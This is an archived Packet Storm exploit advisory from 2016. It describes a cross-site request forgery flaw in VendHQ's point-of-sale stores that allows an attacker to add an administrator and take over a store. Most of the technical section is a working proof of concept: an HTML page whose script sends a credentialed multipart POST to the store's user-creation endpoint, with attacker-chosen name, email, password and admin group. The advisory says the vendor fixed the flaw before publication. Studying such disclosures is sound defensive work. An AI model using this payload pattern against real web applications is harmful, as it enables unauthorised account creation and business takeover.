what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

VendHQ Cross Site Request Forgery

VendHQ Cross Site Request Forgery
Posted Oct 14, 2016
Authored by Ahsan Tahir

VendHQ suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | a3da5e9d83b71a077fd84840814045dae92116ab01f4d5a0697ab047690e6c1e

VendHQ Cross Site Request Forgery

Change Mirror Download
# +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+
# | ___ _ _____ _ _ |
# | / _ \| | |_ _| | | (_) |
# | / /_\ \ |__ ___ __ _ _ __ | | __ _| |__ _ _ __ |
# | | _ | '_ \/ __|/ _` | '_ \ | |/ _` | '_ \| | '__| |
# | | | | | | | \__ \ (_| | | | | | | (_| | | | | | | |
# | \_| |_/_| |_|___/\__,_|_| |_| \_/\__,_|_| |_|_|_| |
# | // Breaking Security Since Born! |
# | |
# | [-] Website: https://ahsantahir.py |
# | [-] Email: support@ahsantahir.py |
# | |
# +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+

###
# Title : VendHQ Add-admin CSRF Vulnerability [Full-Store Takeover]
# Author : Ahsan Tahir
# E-mail : mrahsan1337@gmail.com / support@ahsantahir.py
# Web Site : www.ahsantahir.py
# Facebook: http://fb.me/ahsantahiratofficial
# Twitter : @AhsanTahirAT
# Tested on : Kali Linux 2.0, Windows 8.1
# Vendor : https://www.vendhq.com
###

Release Date:
=============
2016-10-14


Product & Service Introduction:
===============================
Vend is retail POS software, inventory management, ecommerce & customer loyalty
for iPad, Mac and PC. Easily manage & grow your business in the cloud.


Abstract Advisory Information:
==============================
Ahsan Tahir, an independent vulnerability researcher discovered an add-admin CSRF vulnerability, which
could lead to full store-takeover of any VendHQ store!


Vulnerability Disclosure Timeline:
==================================
2016-07-20: Found the vulnerability.
2016-07-20: Reported to vendor.
2016-07-22: Vendor Replied.
2016-07-22: Vendor Fixed the vulnerability.
2016-07-31: Vendor rewarded the researcher.
2016-10-14: Public Disclosure

Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A Cross-Site Request Forgery vulnerability has been discovered in VendHQ stores.
This allows remote attackers to craft a HTML Form, which requests a new admin on vendhq stores, when
run by a victim, while he/she is logged in, and if the victim visits a page, his/her
store will be HACKED/Pwn3d!

Proof of Concept (PoC):
=======================
This vulnerability can be exploited by an attacker if he/she injects this code in his webpage, which
they want their victim to visit!

<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://<your-store>.vendhq.com/user/create", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------30540262821640");
xhr.withCredentials = true;
var body = "-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[vend_image_user_new][id]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[id]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[name]\"\r\n" +
"\r\n" +
"Hacked\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[display_name]\"\r\n" +
"\r\n" +
"A cashier\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[email]\"\r\n" +
"\r\n" +
"ahsan@ahsan.com\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[password]\"\r\n" +
"\r\n" +
"TestingPassword1\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[password_again]\"\r\n" +
"\r\n" +
"TestingPassword1\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[group_id]\"\r\n" +
"\r\n" +
"5\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[outlet_id][]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------30540262821640\r\n" +
"Content-Disposition: form-data; name=\"vend_user[vend_image_user_new][image]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------30540262821640--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

While a victim is logged in to his/her vend store and visits a webpage with the above code
injected, a new admin will be created in their store, with the name as "Hacked" and the Password is "TestPassword1"
and email: ahsan@ahsan.com

Credits & Authors:
==================
Ahsan Tahir - [https://twitter.com/AhsanTahirAT]
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close